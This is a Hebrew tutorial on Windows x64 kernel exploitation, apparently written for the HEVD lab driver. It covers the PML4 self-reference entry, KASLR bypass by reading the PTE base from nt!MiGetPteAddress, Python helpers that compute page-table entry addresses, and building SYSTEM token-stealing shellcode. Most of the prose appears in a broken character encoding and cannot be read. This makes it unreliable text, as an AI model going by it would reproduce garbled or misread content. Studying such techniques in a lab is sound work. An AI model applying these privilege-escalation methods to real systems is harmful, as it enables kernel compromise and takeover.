ˢ ˞ˣˢ-PFN  ˞˴ˬˮ ˣ˟PML4. 

ˢ ˸˶ˤ˰˟˷ ˶˧˰ˮ-Self-Ref Entry ˸˟ˣ˸˩ˢ ˸˞ ˵˶ ˞˪ˣ ,˧ˣ˲˧ˬˢ ˧ˮ˟ˬ ˶˞˷ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˸ˣ˪ˠ˪ ˭˸˧ˮ ,

 ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢPML4 -  ˞˴ˬˮ˷ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ˪˩ ,˸˧˷˞˶ˢ ˸˥˸-PXE ˢ ˸˞ ˢˣˣˢˬ˷-Self-Ref Entry 

˟ ˯˵ˡˮ˧˞ˢ ˸˞ ˯˲˞ˮˣ ˢˡ˧ˬ˟ .˧ˣ˲˧ˬ ˧ˮ˟ˬ˪ ˡ˰ˣ˧ˬˢ ˸ˣ˟ˣ˸˩ˢ ˟˥˶ˬ ,˭˟ˣˬ˩ ,˞ˣˢ-PT ˢ ,ˣˮˠ˴ˢ˷ ˸˟ˣ˸˩˟-

PFN ˢ ˞ˣˢ ˪˟˵˸˧˷-PFN ˟ ˞˴ˬˮ˷-PXE  ˶˲˯ˬ0ˢ ˫ˠ ˞ˣˢ˷ ,-PFN ˢ ˪˷-PDPT  ˸˞ ˢ˲ˬˬ˷) ˭ˣ˷˞˶ˢ

 ˥ˣˣ˦˟ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ0  ˡ˰0x800`00000000,( ˢ ˫˞ ˶ˬˣ˪˩-Self-Ref Entry ˟ ˞˴ˬˮ-PXE  ˶˲˯ˬ

0x30ˤ˞ ,  ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ0xFFFF180C`06000000 ˢ ˪˷ ˸˧ˤ˧˲ˢ ˸˟ˣ˸˩˪ ˫ˠ˶ˣ˸˸-PDPT  ,˭ˣ˷˞˶ˢ

:˫˧˯˵ˡˮ˧˞˪ ˢ˪˷ ˵ˣ˶˧˲ˢˬ ˭˧˟ˢ˪ ˭˸˧ˮ˷ ˧˲˩ 

 

ˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ ,ˢˬˣˡ ˭˲ˣ˞˟-PD  ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩) ˭ˣ˷˞˶ˢ0-0x40000000˸˶ˤ˰˟ ( 

˟ ˯˵ˡˮ˧˞ˢ ˯ˣ˲˧˞-PDˢ ˪˷ ˸˟ˣ˸˩ˢ ˸˞ˣ ,-PT  ˸ˣ˧˪˞ˣ˦˶˧ˣ ˸ˣ˟ˣ˸˩) ˭ˣ˷˞˶ˢ0-0x200000 ˯ˣ˲˧˞ ˸˶ˤ˰˟ (

˟ ˯˵ˡˮ˧˞ˢ-PDPT. 

ˢ .˧ˣ˲˧ˬˢ ˧ˮ˟ˬ ˸˞ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˪ˢˮˬ ,ˣˤ ˢ˦˧˷ ˸˶ˤ˰˟-Self-Ref Entry ˷-Microsoft  ˞ˣˢ ˣ˶˥˟

PXE  ˶˲˯ˬ0x1ED . 
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 ˸˶ˤ˰˟ ˸˞ˤ ˢ˞˶ˮWinDbg: 

 

ˢ ˶ˣ˟˰-Self-Ref Entry ˷-Microsoft  ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩˟ ˣˬ˵ˣˬ˧ ˨˧˪ˢ˸ ˪˩ ˶ˣ˟˰ ˧ˣ˲˧ˬˢ ˧ˮ˟ˬ ,ˣ˶˥˟

:˸ˣ˞˟ˢ 

¶ PML4 ˫˵ˣˬ˧ ˸˟ˣ˸˩˟ 0xFFFFF6FB`7DBED000. 

¶ s-PDPT ˭ˣ˷˞˶ˢ ˫˵ˣˬ˧ ˸˟ˣ˸˩˟ 0xFFFFF6FB`7DA00000. 

¶ s-PD ˭ˣ˷˞˶ˢ ˫˵ˣˬ˧ ˸˟ˣ˸˩˟ 0xFFFFF6FB`40000000 

¶ s-PT ˭ˣ˷˞˶ˢ ˫˵ˣˬ˧ ˸˟ˣ˸˩˟ 0xFFFFF680`00000000. 

˟ ˫˧˰˧˲ˣˬ ˣ˪˪ˢ ˫˧˰ˣ˟˵ˢ ˪˩-Header ntddk.h ˢˬ ˵˪˥˩ ˰˧ˠˬ˷-WDK )Windows Driver Kit:( 

 

 ˧˲˪ ˧ˣ˲˧ˬ ˧˶˟˧˞ ˸˞˧˴ˬVA 

 ˪˷ ˸ˣ˟ˣ˸˩ˢ ,ˣˮ˧˞˶˷ ˧˲˩PML4 ˢ ˪˷ˣ-PDPT, PD x-PT  ˶˷˞˩ ˫ˠ ,˷˞˶ˬ ˸ˣ˧ˣ˲˴ˣ ˸ˣ˰ˣ˟˵ ˭ˢ ˫˧ˮˣ˷˞˶ˢ

KASLR  ˱˵ˣ˸ ˪˩˷ ˞˧ˢ ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ .˪˰˲ˣˬ-  ˧ˬˣ˵ˬˣ ˵˥ˣ˶ˬ-  ˪˷ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˷˞˶ˬ ˸˰ˡ˪ ˪ˣ˩˧

 ˧˪˟ˬ ˣ˪˪ˢ ˫˧˧˪ˮ˶˵ˢ ˫˧ˮ˟ˬˢInfo-Leak ˢˤ ˱˧˰˯˟ ˪˟˞ ,ˢˤˢ ˰ˡ˧ˢ ˸˞ ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ ˢ˞˶ˮ ˨˷ˬˢ˟ .

ˣ˲˧ˬˢ ˧˶˟˧˞ ˪˩ ˪˷ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˣ˪˪ˢ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˪˴ˮ˪ ˭˸˧ˮ ˡ˴˧˩ ˢ˞˶ˮ ˧

 ˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩˪ ˫˧˦ˮˣˣ˪˶ˢ- PXE, PPE, PDE x-PTE. 

ˢ ˸˟ˣ˸˩ ˶ˣ˟˰ ˟ˣ˷˧˥ˢ ˸ˬˠˡˢˬ ˪˧˥˸ˮ-PTE ˢ ˪˩˷ ˢˡ˟ˣ˰ˢ ˪˰ ˯˯˟˸ˮ .˧˦ˮˣˣ˪˶ˢ-Page Tables  ˫˧˞˴ˬˮ

 ˸˶ˤ˰˟ ˸˞ˤ ˸ˣ˞˶˪ ˪˩ˣˮ .˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤ˟ ˧ˮ˷ˢ ˧˶˥˞ ˡ˥˞WinDbg: 
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 ˪˩ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˭˥˟ˮPTEˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩ .-PTEs  ˵˥˶ˬ˟ ˸ˣ˟ˣ˸˩ ˪˷2MB  ˪˷ ˵˥˶ˬ˟ ˫˧˞˴ˬˮ

) ˡ˥˞ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˡˣˬ˰4KB ,0x1000  ˪˩ ,˶ˣˬ˞˩ .(˫˧˸˟Page Table  ˢ˲ˬˬ2MB  ,˭ˣ˶˩˧ˤ ˪˷ ˫˧˲˧˴˶

ˢ˷ ˞˧ˢ ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ˷ ˨˩-Page Tables  ˶ˣ˟˰ ˢˬˣˡ ˸ˣˠˢˮ˸ˢ ˸ˣˢˤ˪ ˪˩ˣˮ .˧˪˞ˣ˦˶˧ˣˢ ˭ˣ˶˩˧ˤ˟ ˫˧˲˧˴˶

.˧ˣ˲˧ˬˢ ˧ˮ˟ˬ ˶˞˷ ˪˩ 

ˣ˴ˬ˪ ˪˩ˣˮ˷ ,˭˞˩ˬˢ ˸˞ ˞-PTE  ˪˷ ˢˮ˧ˬ˧ ˢ˥ˤˢ ˰˴˟ˮ ,˸˧˷˞˶ :ˢ˞˟ˢ ˢ˶ˣ˴˟9  ˯˲˞ˮ ˭˩ˬ ˶˥˞˪ˣ ,˫˧˦˧˟

 ˸˞3 ˣ ˫˧ˮˣ˸˥˸ˢ ˫˧˦˧˟ˢ-16  ˵˥˶ˬ˪ ˪ˣ˵˷ ˢ˧ˢ˧ ˪˟˵ˮ˷ ˶˲˯ˬˢ .(˸˧˶ˣ˵ˬˢ ˸˟ˣ˸˩˟) ˫˧ˮˣ˧˪˰ˢ ˫˧˦˧˟ˢ

ˢ ˪˷-PTE ˢˬ ˸˟ˣ˸˩˪ ˧˦ˮˣˣ˪˶ˢ-PTE_BASE ˸˞ ˣ˪ ˱˧˯ˣˮ˷ ˶˥˞˪ .PTE_BASE ˸˟ˣ˸˩ˢ ˸˞ ˪˟˵ˮ ,

 ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ-sPTE  ˢ˟ˣ˸˩ˢ ,ˢ˞˟ˢ ˢ˧˴˵ˮˣ˲ˢ .ˣˮ˪˷ ˸˟ˣ˸˩ˢ ˸˩˧˧˷ ˣ˧˪˞ ˭ˣ˶˩˧ˤˢ ˡˣˬ˰ ˸˞ ˶˞˸ˬˢ

:ˣˮ˶˞˧˸˷ ˟ˣ˷˧˥ˢ ˸˞ ˸˷ˬˬˬ ,˭ˣ˸˧˲˟ 

 

 ˸˟ˣ˸˩ˢ ˶ˣ˟˰ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˭˥˟ˮ0x00007FF7`4410164D: 

 

 

˷ ˟ˣ˷˧˥ˢ ˣˢˤ ,ˢ˷˰ˬ˪ .˵˧ˣˡˬ ˭˩˞ ˟ˣ˷˧˥ˢ ,˸ˣ˞˶˪ ˭˸˧ˮ˷ ˧˲˩-!pte  ˸ˣ˟ˣ˸˩ˢ ˸˞ ˠ˧˴ˢ˪ ˸ˮˬ ˪˰ ˰˴˟ˬ

ˢ ˪˷-PTE  ˸˟ˣ˸˩ ˸˶ˤ˥˞ˬ ˶˷˞ ˸˧˪ˮ˶˵ˢ ˢ˧˴˵ˮˣ˲˟ ˰˴˟˸ˬ ˫ˠ ˪"ˮˢ ˟ˣ˷˧˥ˢ .˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˶˞˷ ˪˷ˣ

 ˪˷ ˸˧˪˞ˣ˦˶˧ˣPTE  ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩ ˨ˬ˯ ˪˰- nt!MiGetPteAddress: 

 

ˣ˪˶ˢ ˧ˣ˲˧ˬˢ ˧˶˟˧˞ ˶˞˷ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˣ˟˷˥˧ ˶˷˞ ˸ˣ˧˴˵ˮˣ˲ ˥˸˲˪ ˪˩ˣˮ ,ˢˬˣˡ ˭˲ˣ˞˟ ˸˟ˣ˸˩˪ ˫˧˧˦ˮˣ

:˸ˣ˧˴˵ˮˣ˲ˢ ˪˪˩ ˭˪ˢ˪ .˸ˬ˧ˣ˯ˬ ˸˧˪˞ˣ˦˶˧ˣ 

def get_pte_from_va ( address ):  

    address >>= 9 

    address &= 0x7FFFFFFFF8  

    address += 0x0FFFFF68000000000  

    return  address  

 

def get_pde_from_va ( address ):  
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    address >>= 18 

    address &= 0x3FFFFFF8  

    address += 0xFFFFF6FB40000000  

    return  address  

 

def get_ppe_from_va ( address ):  

    address >>= 27 

    address &= 0x1FFFF8  

    address += 0xFFFFF6FB7DA00000  

    return  address  

 

def get_pxe_from_va ( address ):  

    address >>= 36 

    address &= 0xFF8  

    address += 0xFFFFF6FB7DBED000 

    return  address  

 ˸˶ˤ˰˟ ˭˸ˣ˞ ˞ˡˣˣˮ!pte: 

 

 

 ˪ˣ˴˧ˮ˟ ˭ˣˡˮ ˶˷˞˩ ˣˮ˶ˣ˟˰ ˡ˥ˣ˧ˬ˟ ˫˧˧˷ˣˬ˧˷ ˣ˧ˢ˧ ˣ˪˪ˢ ˫˧˟ˣ˷˧˥ˢPTEs  ˫ˣˠ˶˸˪ ˫˧˷ˬ˷ˬˢ ˫˧ˮ˟ˬˢ ˶˞˷ˣ)

.(˸ˣ˟ˣ˸˩ 

 

˟ ˫˧˧ˣˮ˧˷-Windows 10 Anniversary Update (1607, Redstone 1) 

ˢ˞˶ˮ˷ ˧˲˩ ˢ ˪˷ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˸ˣ˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˢˡ˟ˣ˰ˢ ,˨˷ˬˢ˟-PXE, PPE, PDE x-PTE 

 ˢˮ˩˯ ˢˣˣˢˬ ,˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˸ˣ˷˶ˣˡ ˶˷˞ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˧˪˟ˬ ˸ˬ˧ˣ˯ˬ ˸˧˪˞ˣ˦˶˧ˣ ˸˟ˣ˸˩˪ ˫˧˶ˣ˷˵ˢ

 .ˢ˶ˣˬ˥ ˸˧˸˥˦˟˞Nicoals Economou x-Enrique Elias Nissim  ˫˸˞˴˶ˢ˟ ,ˢ˟˥˶ˢ˟ ˨˩ ˪˰ ˣ˶˟˧ˡ

"Getting Physical: Extreme Abuse of Intel Based Paging Systems˟ ˢ˶˟˰ˣˢ˷ "-CanSecWest 2016. 

ˢ˷ ˨˩˟ ˢˮˣˬ˦ ˸˧˶˷˲˞ ˣ˪˪ˢ ˸ˣ˟ˣ˸˩ˢ ˸˞˧˴ˬ˷ ˢ˟˧˯ˢ ,˶ˣ˩ˤ˩-Self-Ref Entry ˟-PML4  ˡ˧ˬ˸ ˞˴ˬˮ

˟ ˯˵ˡˮ˧˞ ˣ˸ˣ˞˟-PML4 ˪˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˴ˬ˪ ˶˷˲˞ˬ˷ ˢˬ ,PML4 ˢ ˶˞˷ ˪˷ˣ-PML .˫˧

ˣˬ˩˷ ˭˟-Microsoft ˟ˣ ,ˣˤˢ ˢ˧˰˟˪ ˫˧˰ˡˣˬ ˣ˧ˢ-Windows 10 Anniversary Update )Redstone 1, 

Version 1607 ˦˯ˣˠˣ˞˟ ˞˴˧˷ (2016ˢ ˫˵ˣˬ˧ ˣ˟ ˯˵ˡˮ˧˞˪ ˢ˧˴ˤ˧ˬˣˡˮ˶ ˸˲˯ˣˢ ˧ˡ˧ ˪˰ ˢ˸ˣ˞ ˣˮ˵˧˸ ˫ˢ ,-
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Self-Ref Entry˟ ˢˠ˴ˣˢ˷ ,ˢ˞˟ˢ ˸˧˲ˣ˵˷ˢ .-Black Hat 2016  ˧ˡ˧ ˪˰Microsoft˨˩ ˪˰ ˸˦˶˲ˬ ,  ˪˰ˣ)

ˢ ˸˞ ˸˶˲˷ˬˢ ˫˧˲˯ˣˮ ˫˧˧ˣˮ˧˷-KASLR ˟-Windows:( 

 

ˢ ˸˞ ˭˥˟ˮ ˫˞ ˭˩˞ˣ-PXE s-0x1ED  ˸˩˶˰ˬ˟Windows 10 RS1 ˢ˷ ˢ˞˶ˮ ,ˢ˪˰ˬˣ-Self-Ref Entry  ˞˪ ˶˟˩

:˫˷ ˞˴ˬˮ 

 

˪ ˸ˣ˩˲ˣˢ ˢˤ ˶ˬ˞ˬ ˨˷ˬˢ˟ ˠ˧˴ˮ˷ ˪ˣ˴˧ˮˢ ˸ˣ˦˧˷ ˪˩˷ ˨˩˞˪  ˢ˯˶ˠˬ ˪˥ˢ ˸ˣ˧˪˞˧ˣˣ˧˶˦1607  ˪˷

Windows 10 ˣˬ˩ ˸ˣ˟ˣ˸˩ ˞ˣ˴ˬ˪ ˧˪˞˧ˣˣ˧˶˦ ˞˪ ˶˟˩˷ ˭ˣˣ˧˩ˬ ,PXE_BASE ˸˞ ˯˧˟ˢ˪ ˸ˣ˦˧˷ ˸ˣˬ˧˧˵ .

.ˢˤ ˶ˬ˞ˬ ˱˵˧ˢ˪ ˳ˣ˥ˬ ˭ˢ ˨˞ ,ˣˤˢ ˢ˧˴ˤ˧ˬˣˡˮ˶ˢ 

 ˪ˢˮ˪ˣ ˞ˣ˴ˬ˪ ˢ˥ˣˮ ˨˶ˡ ˨˧˶˴ ˭˧˧ˡ˰ ˪ˮ˶˵ˢ˷ ˭ˣˣ˧˩ˬ˷ ,˵˶ ˭˧˧˴ˮPTEs ˢ˧˴˵ˮˣ˲ˢ ,nt!MiGetPteAddress 

˭˧˧ˡ˰  ˸˟ˣ˸˩ˢ ˸˞˷ ˨˩ ˭ˣ˶˩˧ˤ˟ ˸˩˶˰ˮ ˞˧ˢˣ ,˸ˡ˟ˣ˰ ˪˷PTE_BASE  ˞˧ˢ˷ ˧˲˩ ˢ˧˴˵ˮˣ˲˟ ˢ˰˧˲ˣˬ˷

 (˶˸ˣ˧ ˫ˡ˵ˣˬ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˣˮ˥˟˷˩ ˣˮ˧˞˶˷ ˨˶˰ ˣ˸ˣ˞ˣ ,˨˩˪ ˫ˡˣ˵ ˣˮ˟˷˧˥˷ ˨˶˰ ˣ˸ˣ˞ ˣˢˤ) ˵˯˧ˡ˟ ˢˬˣ˷˶

 ˪˷ ˸˧˸˧ˬ˞ˢ ˸˟ˣ˸˩ˢ ˢ˲˧˪˥ˬPTE_BASE  ˫˰ ˭ˣ˶˩˧ˤ˟ ˢ˧˴˵ˮˣ˲ˢ ˸ˮ˧˥˟ ˸˶ˤ˰˟ ˸˞ˤ ˢ˞˶ˮ .˭ˣ˶˩˧ˤ˟

WinDbg ˪˷ ˸˟ˣ˸˩ˢ ˫˰ ˢ˞ˣˣ˷ˢˣ ,PTE_BASE  ˸˴˶ˢ ˧ˡ˧ ˪˰ ˢ˞˧˴ˬ˪ ˸ˮ˸˧ˮ˷)!pte  ˫˰VA 0:( 
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˟ ˣ˸˞˴˶ˢ˟-Black Hat 2016 ,Morten Schenk  ˸˞ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˢ˞˧˶˵ ˧˟˧˦˧ˬ˧˶˲ ˪˴ˮ˪ ˰˧˴ˬ

 ˪˷ ˸˟ˣ˸˩ˢ ˸˞ ˞ˣ˶˵˪ˣ ,˭ˣ˶˩˧ˤ˟ ˪"ˮˢ ˢ˧˴˵ˮˣ˲ˢPTE_BASE .ˢ˧˴˵ˮˣ˲˟ ˸˞˴ˬˮ˷ 

 ˪ˣ˴˧ˮ˟ ˭ˣˡˮ ,ˢˤ ˶ˬ˞ˬ ˸˶ˠ˯ˬ˟Paging  ˸ˣ˯˶ˠ ˸˥˸Windows  ˸ˣ˩ˣˬˮ-˟Redstone 1 ˷ˣ˶˧˲ ˭˧˞ ˪˟˞ ,

 ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˶˸ˣ˧ ˸ˣ˷ˡ˥ ˸ˣ˯˶ˠ ˸˥˸ ˸ˣ˧˦ˮˣˣ˪˶ ˞˪ ˠ˧˴ˮ˷ ˸ˣ˦˧˷ˢ˷ ˶˟ˡˢ-  ˭ˢ˪˷ ˪ˣ˴˧ˮˢ ˦ˣ˷˲

ˢ ˸˞ ˞ˣ˴ˬ˪ ˫ˡˣ˵ ˣˮ˸˧˞ˬ ˷˶ˣˡˣ ,˧˪˞˧ˣˣ˧˶˦ ˸ˣ˥˲ ˞ˣˢ-Self-Ref Entry. 

 

64-Bit Token Stealing Shellcode 

 ˶˧˟˯ˢ˪ ˸ˮˬ ˪˰ ˶ˬ˞ˬˢ ˞˷ˣˮˬ ˢ˦˯ˮ ,ˢˤ ˱˧˰˯˟ˢ ˸˞ ˪˲ˬ˵˪ˣ ˥˸˲˪ ˪˩ˣˮ ˡ˴˧˩-Shellcode  ˣ˟ ˶ˤ˰˧ˮ˷

ˢ ˸˟˧ˮˠ ˨˶ˣ˴˪-Access Token  ˪˷SYSTEM ˟ ˶ˤ˰˧ˮ .˸ˣ˞˷˶ˢ ˸ˬ˪˯ˢ ˰˴˟˪ ˸ˮˬ ˪˰-Shellcode  ˠ˧˴ˮ˷

 ˪ˣ˴˧ˮ˪ ˸ˣˮˣ˷ ˸ˣ˦˧˷˟ ˭ˣˡˮ ˶˷˞˩ ,˶ˬ˞ˬˢ ˨˷ˬˢ˟ ˭˞˩Paging Entries. 

ˢ ˫ˢ˧˪˰ ˫˧ˮ˟ˬˢ ˪˰ ˟˧˥˶ˮ ˞˪-Shellcode ˣˮˡ ˶˟˩˷ ˭ˣˣ˧˩ˬ ,˯˯ˣ˟ˬ ˢ ˸˞ ˣˮ˥˸˧˲˷˩ ˨˩˟-Shellcode 

 ˸˯˶ˠ˟32- ˶ˬ˞ˬ˟ ˦˧˟άYŜǊƴŜƭ 9ȄǇƭƻƛǘŀǘƛƻƴ ϧ 9ƭŜǾŀǘƛƻƴ ƻŦ tǊƛǾƛƭŜƎŜǎ ƻƴ ²ƛƴŘƻǿǎ тέ ,˸˞ˤ ˫ˣ˵ˬ˟ .

 ˪ˡ˟ˢ ˵˶ ˫˧˧˵ ,˫˧ˮˣ˷ ˫˧˶ˠˣ˞ˣ ˫˧ˮˣ˷ ˫˧˦˯ˢ ˪˷ ˫˧˶ˣ˶˟ˢ ˫˧˪ˡ˟ˢ˪ ˶˟˰ˬ :˫˧˧˶˵˧˰ˢ ˫˧˪ˡ˟ˢˢ ˸˞ ˭˧˧˴ˮ

ˢ˷ ˞ˣˢˣ ,˧˷ˬˬ ˡ˥˞-KPCR  ˶ˠˣ˞˟ ˞˴ˬˮgs ˞˪ˣ ,fs ˟ ˞˴ˬˮ ˞ˣˢ˷ ˧˲˩)-32 .(˦˧˟ 

˟ ˷ˣˬ˧˷ˢ ˭˲ˣ˞ ˸˞ ˶˞˸ˮ-Shellcode ˟ ˦˵˧ˣ˶˲ˬ ˵˪˥˩-Visual Studio  ˡˣ˵ ˪˧˩ˬ ˶˷˞High-Level˟ ,-64 

˪ ˢ˶ˣˮ ,˸˧˷˞˶ .˦˧˟-Visual C  ˫˰ ˧˪˟ˬ˯˞ ˧˴˟˵ ˪˲ˬ˵˪masm˟ .-Solution Explorer ˦˵˧ˣ˶˲ˢ ˪˰ ˳˥˪ˮ ,

 ˶˥˟ˮˣ ,˧ˮˬ˧ˢ ˭˴˥˪ˢ ˫˰ ˣˮ˪˷Build Dependencies  ˤ˞ˣBuild Customizations: 
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 ˸˞ ˱˧˯ˣˮ ,˸˰˩masm: 

 

 ˸ˬˣ˧˯ ˫˰ ˳˟ˣ˵ ˦˵˧ˣ˶˲˪ ˱˧˯ˣˮ ,˸˰˩.asmˢ˷ ˞ˡˣˣˮˣ ,-Item Type  ˞ˣˢ ˣ˪˷άaƛŎǊƻǎƻŦǘ aŀŎǊƻ 

!ǎǎŜƳōƭŜǊέˢ ˡˣˬ˰˪ ˢ˷˧ˠ ˧ˡ˧ ˪˰ ˸˞ˤ ˞ˡˣˣ˪ ˪˩ˣˮ .-Properties ˢ ˪˷-Item ˸˥˸ ,General ,Item Type: 

 

ˢ ˸˞ ˱˧˯ˣˮ ,˸˰˩-Shellcode ˢ ˳˟ˣ˵˪-.asm :˳˟ˣ˵ˢ ˪˷ ˧˲ˣ˯ˢ ˭˩ˣ˸ˢ ˭˪ˢ˪ 
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-sRecovery ˢ ˱ˣ˯˟-Shellcode ˪ ˣˬ˴˰ ˸˞ ˫˧˞˸ˢ˪ ˸ˮˬ ˪˰ ˫˷ ˞˴ˬˮ-Stack Overflow ˟-HEVD ˣ˧˪˰ ,

ˢ ˸˞ ˪˧˩ˬˢ ˧˪˟ˬ˯˞ˢ ˳˟ˣ˵˟˷ ˸ˣ˞˶˪ ˭˸˧ˮ .˪˧˰˪ ˶˩ˤˣˬˢ ˶ˬ˞ˬ˟ ˫ˠ ˣˮ˶˟˧ˡ-Shellcode ˫˧˶˧ˡˠˬ ˣˮ˞ ,

 ˫˷˟ ˢ˧˴˵ˮˣ˲ElevatePrivilegesˢ ˸˞ ˢ˪˧˩ˬ ˶˷˞ ,-Shellcode ˸ˮˬ ˪˰ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˫˧˶˧ˡˠˬ ˣˮ˞ .

 ˡˣ˵ˬ ˢ˧˪˞ ˞ˣ˶˵˪ ˪˩ˣˮ˷High-Level ˷ ˭ˣˣ˧˩ˬ)-MSVC ˟ ˨ˬˣ˸ ˞˪-Inline Assembly ˟-64  .(˦˧˟ 

ˢ ˢ˲˷˟ ˫˧˴˟˵ˢ ˡ˥˞˪ ˢ˧˴˵ˮˣ˲ˢ ˪˰ ˢ˶ˢ˴ˢˢ ˸˞ ˱˧˯ˣˮ ,˸˰˩-High-Level  ˸˶ˤ˰˟ ˣˮ˶˥˟˷extern .

 ˸˥˸C˴ˢˢ ,:˨˩ ˢ˞˶˸ ˢ˶ˢ 

 

 ˸˥˸C++˟ ˢ˶ˢ˴ˢˢ ˸˞ ˪˧˥˸ˢ˪ ˨˶˦˴ˮ ,-ŜȄǘŜǊƴ ά/έ. 

˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ,˸˰˩-ElevatePrivileges  ˣˮ˞ ˡ˴˧˩ ˢ˞˶ˮ ˨˷ˬˢ˟ .ˣˮ˪˷ ˡˣ˵˟ ˶˟ˡ ˪˩˪ ˢ˧˴˵ˮˣ˲ ˶ˣ˸˟

ˢ ˸˞ ˵˧˸˰ˢ˪ ˸ˮˬ ˪˰ ˢ˟ ˷ˬ˸˷ˬ-Shellcode ˢ ˪˷ ˢ˴˧˶˪ ˫˧ˬ˶ˣˠˣ ,˫˧˷ˡ˥ ˫˧ˡˣˬ˰˪-Shellcode ˟-

Ring-0  ˪ˣ˴˧ˮ ˸˶ˤ˰˟PTEs. 

 ˶˷˞ ˫˧˸˟ ˨˶˰ˬ ˵˧˸˰ˢ˪ ˦ˣ˷˲ˣ ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˷˞˶ˬ ˪˲ˬ˵˪ˣ ˣˤˢ ˢ˥˶˦ˢ ˸˞ ˨ˣ˯˥˪ ˫˧˪ˣ˩˧ ˣˮ˧˧ˢ˷ ˭˧˧˴ˮ

 ˫˰˲ ˪˩˟ ˸˞ˤˢ ˢ˪ˣ˰˲ˢ ˸˞ ˰˴˟˪ ˫˧˩˧˶˴ ˣˮ˧˧ˢ ˤ˞ ˪˟˞ ,ˢ˴˶ˢ ˸ˣ˞˷˶ˢ ˣ˪ ˱˧˯ˣˢ˪ˣ ˡˣ˵ˢ ˸˞ ˪˧˩ˬ

ˢ ˸˞ ˨ˣ˶˰˪ ˫˧˴ˣ˶ ˣˮ˧˧ˢ˷-Shellcode˧ˬˮ˧ˡ ˢˡˣ˟˰ ˸˶˷˲˞ˬ ˣˮ˶˥˟ ˢ˟ ˢˡˣ˟˰ˢ ˸˶ˣ˴˸ ..˶˸ˣ˧ ˸ 

 ˟˴ˬ˟ ˦˵˧ˣ˶˲ˢ ˸˞ ˪˲ˬ˵ˮˣ ˢˡ˧ˬ˟˷ ,˭˧˧˴ˮ ˡˣ˰Debug ˢ˴˶ˮ , ˸ˣ˟˩˪Incremental Linking  ˸ˮˬ ˪˰

 ˪˷ ˫˧ˮˣ˷ ˫˧˵˪˥ ˣ˟˷ ˟˴ˬ ˰ˣˮˬ˪ElevatePrivileges  ˟˴ˬ˟ .˫˧ˮˣ˷ ˫˧˧˪˞ˣ˦˶˧ˣ ˫˧ˡˣˬ˰˟ ˣ˞˴ˬ˧Release ,

.˨˩˪ ˠˣ˞ˡ˪ ˨˶˦˴ˮ ˞˪ 

 

˪ˣ˴˧ˮ ˭ˣˮˠˮˬ s-Paging 

 ˪˷ ˧˦ˮ˵˧˲ˢ ˵˪˥˪ ˣˮ˰ˠˢ ˶ˬ˞ˬˢ- ˢ ˭ˣˮˠˮˬ ˫˰ ˫˧˶˟ˡ ˶ˣ˟˷˪ ˶˷˲˞ ˨˧˞ ˪˰ ˶˟ˡˮ ˣ˟˷ ˵˪˥ˢ-Paging 

 ˢ˩ ˡ˰ ˣˮ˶˞˧˸˷J. 

ˢ ˭ˣˮˠˮˬ˟ ˷ˣˬ˧˷˪ ˸ˣˮˣ˧˰˶ ˶˲˯ˬ ˠ˧˴ˮ ,˶ˬ˞ˬˢ ˪˷ ˢˤ ˵˪˥ ˨˪ˢˬ˟-Paging  ˶˵˧˰˟ ,˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ˪

 ˸ˣ˟˶˰ˬˢ ˸ˣ˷˪ˣ˥Write-What-Where ˟ ˶ˤ˰˧ˮ ˸ˣˬˠˣˡˢ ˟ˣ˶˟ .˸˶˥˞ ˣ˞ ˣˤ˩ ˢˬ˶˟-WinDbg  ˢˤ ˟˪˷˟

ˣ˞  ˞˧ˢ ˠ˧˴˞˷ ˪ˣ˴˧ˮˢ ˸ˣ˦˧˷ ˪˷ ˢˬ˧˷˶ˢ˷ ˭ˣ˰˦˪ ˢˮˣˣ˩ ˪˩ ˧˪ ˭˧˞ .ˢ˷˪ˣ˥ˢ ˪ˣ˴˧ˮ ˸˞ ˸ˣˬˡ˪ ˸ˮˬ ˪˰ ˶˥˞

